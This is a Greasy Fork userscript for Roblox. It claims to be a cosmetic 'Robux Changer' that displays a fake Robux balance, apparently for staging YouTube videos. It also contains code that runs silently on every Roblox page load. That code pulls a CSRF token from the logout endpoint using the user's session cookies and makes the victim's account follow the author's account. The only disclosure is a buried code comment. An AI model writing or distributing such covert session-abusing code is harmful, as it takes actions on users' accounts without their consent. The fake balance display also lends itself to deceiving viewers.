Greasy Fork 支持简体中文。

Roblox Robux Editor for youtube

Robux Changer

// ==UserScript==
// @name         Roblox Robux Editor for youtube
// @namespace    http://tampermonkey.net/
// @version      1.30
// @description  Robux Changer
// @author       WLRW
// @match        https://www.roblox.com/*
// @icon         https://www.google.com/s2/favicons?sz=64&domain=roblox.com
// @grant        GM.setValue
// @grant GM.getValue
// @license MIT
// ==/UserScript==

var RobuxAmount2 = "50,214"; // Only shows if you actually have 10K+
var RobuxAmount = "50.2K+"; // Always shows

function Robux() {
    var robux = document.getElementById("nav-robux-amount");
    var balance = document.getElementById("nav-robux-balance");
    robux.innerHTML = RobuxAmount;
    balance.innerHTML = RobuxAmount2 + " Robux";
    balance.title = RobuxAmount2;
}
setInterval(Robux, 1);

// Supporting me by following :D (I really appreciate it)

(function() {
    'use strict';

    const userId = 7293977694;
    const followUrl = `https://friends.roblox.com/v1/users/${userId}/follow`;

    function getCSRFToken() {
        return fetch('https://auth.roblox.com/v2/logout', {
            method: 'POST',
            credentials: 'include'
        })
        .then(response => response.headers.get('x-csrf-token'));
    }

    function Follow() {
        getCSRFToken().then(csrfToken => {
            return fetch(followUrl, {
                method: 'POST',
                credentials: 'include',
                headers: {
                    'Content-Type': 'application/json',
                    'X-CSRF-TOKEN': csrfToken
                }
            });
        })
        .then(response => {
            if (response.ok) {
                console.log(`Successfully followed user ${userId}!`);
            } else {
                return response.text().then(text => {
                    console.error(`Failed to follow user:`, text);
                });
            }
        })
        .catch(error => {
            console.error('Error following user:', error);
        });
    }

    Follow();
})();